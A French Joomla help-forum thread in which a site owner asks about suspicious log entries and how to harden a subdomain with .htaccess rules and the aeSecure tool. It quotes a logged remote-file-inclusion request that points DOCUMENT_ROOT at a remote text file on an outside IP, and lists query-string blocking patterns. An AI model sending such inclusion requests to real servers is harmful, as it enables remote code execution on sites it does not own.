Ligne etrange dans mes logs error

**cavo789** · 22/04/2014, 09h07

Re : Ligne etrange dans mes logs error

Bonjour

Il ne faut pas s'en inquiéter dans la mesure où il s'agit d'une tentative : quelqu'un a essayé d'accéder à une url qui n'existe pas et le nom de la page a été "échappé" càd que le hackeur a encodé un certain nombre de caractères.

Rien de bien méchant puisque c'est le lot de tous les sites internet; d'être soumis à l'un ou l'autre imbécile qui tente de le mettre à mal.

Si ton site est protégé (l'est-il ?), tu n'as pas grand chose à craindre. Soit juste alerte car ton site a subi une tentative d'attaque; probablement le pirate n'a rien pû faire mais, soit à l'écoute du moindre fait bizarre, inhabituel sur ton site. Comme tu le fais chaque jour ou presque en fait

**Ve34** · 23/04/2014, 10h05

Re : Ligne etrange dans mes logs error

Bonjour Christophe,

Petite question à laquelle je pense que tu sauras répondre : Mon site est donc sous joomla mais j'ai un sous domaine sur le même serveur qui n'est pas sous joomla. Je viens de voir dans mes logs ceci

"GET /?_SERVER[DOCUMENT_ROOT]=http://217.197.155.71/img/z.txt? HTTP/1.1" 403 119 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"

au niveau de mon domaine principal mais comme cette partie de joomla est sécurisée cela a renvoyé une erreur 403 par contre j'ai noté que la même tentative au niveau de mon sous domaine qui lui n'est pas sous joomla et cela à renvoyé un code 200. C'est pas bon signe n'est ce pas?
Puis-je mettre dans un htaccess à la racine de mon sous domaine les même protection que dans mon htaccess joomla sans que cela pose de problème au site ? je pensais en particulier à ces lignes :

RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]
RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule .* index.html [F]

(index.html car je n'ai pas de page index.php sous mon sous domaine)

Merci d'avance de ta réponse.

**cavo789** · 23/04/2014, 12h51

Re : Ligne etrange dans mes logs error

Un code 200 signifie "pas d'erreur" et que l'url a retourné quelque chose. Ici, je ne vois pas trop ce qu'il aurait pû retourner...

Le code pour le .htaccess que tu donnes est un strict minimum syndical. Puisqu'aeSecure est disponible en version gratuite (voir ma signature), je te suggère de l'installer sur ton site (et les autres) pour le sécuriser. Une fois installé, applique les protections 1.1 et 1.2 au strict minimum. Prends le temps de survoller les autres protections pour les activer également (p.ex. 1.3, 2.1, ...). Ton site étant déjà bien protégé avec les deux premières.

**Ve34** · 23/04/2014, 13h06

Re : Ligne etrange dans mes logs error

Envoyé par cavo789 Voir le message

Un code 200 signifie "pas d'erreur" et que l'url a retourné quelque chose. Ici, je ne vois pas trop ce qu'il aurait pû retourner...

Le code pour le .htaccess que tu donnes est un strict minimum syndical. Puisqu'aeSecure est disponible en version gratuite (voir ma signature), je te suggère de l'installer sur ton site (et les autres) pour le sécuriser. Une fois installé, applique les protections 1.1 et 1.2 au strict minimum. Prends le temps de survoller les autres protections pour les activer également (p.ex. 1.3, 2.1, ...). Ton site étant déjà bien protégé avec les deux premières.

Mon but est bien d'installer aesecure mais lorsque je le fais plus rien ne fonctionne. J'ai remarqué un bug sur mon site concernant sh404sef et je m’efforce de le corriger sans avoir à remonter le site complet avant d'installer aesecure.
En attendant de régler ce problème puis je installer aesecure uniquement à la racine de mon sous-domaine ?
Au final, est-il possible de l'installer à la fois à la racine du site (domaine principal) et sur mon sous domaine (même serveur juste un répertoire à la racine du domaine principal) ?

merci

**cavo789** · 23/04/2014, 13h19

Re : Ligne etrange dans mes logs error

Envoyé par Ve34 Voir le message

Au final, est-il possible de l'installer à la fois à la racine du site (domaine principal) et sur mon sous domaine (même serveur juste un répertoire à la racine du domaine principal) ?

Oui : tu installes aeSecure au niveau d'un dossier de ton choix. Donc, oui, un par sous-domaine.

**Ve34** · 23/04/2014, 17h12

Re : Ligne etrange dans mes logs error

Je viens d'installer aesecure au niveau de mon sous domaine mais suite à un bug j'ai regardé le htaccess modifié et les liens dans les rewriterule sont "mélangés" :

au lieu d'avoir
RewriteRule .* http://%{HTTP_HOST}/Test/site/sousdom/aesecure/accessdenied.php?s=148 [L]
j'ai
RewriteRule .* http://%{HTTP_HOST}/Testsitesousdom/aesecure/accessdenied.php?s=148 [L]

A quoi cela peut-il être du ? je suis en local

**cavo789** · 23/04/2014, 17h16

Re : Ligne etrange dans mes logs error

Sorry, tu l'auras lu sur mon site lors du téléchargement de la version gratuite : je n'offre aucun support sur cette version-là. C'est le prix du gratuit

Bonne soirée.

**Ve34** · 23/04/2014, 17h31

Re : Ligne etrange dans mes logs error

Envoyé par cavo789 Voir le message

Sorry, tu l'auras lu sur mon site lors du téléchargement de la version gratuite : je n'offre aucun support sur cette version-là. C'est le prix du gratuit

Bonne soirée.

Fair enough!
merci tout de même d'avoir pris la peine de répondre à mon message.

Ligne etrange dans mes logs error

Ligne etrange dans mes logs error

Commentaire

Commentaire

Commentaire

Commentaire

Commentaire

Commentaire

Commentaire

Commentaire

Annonce

Partenaire de l'association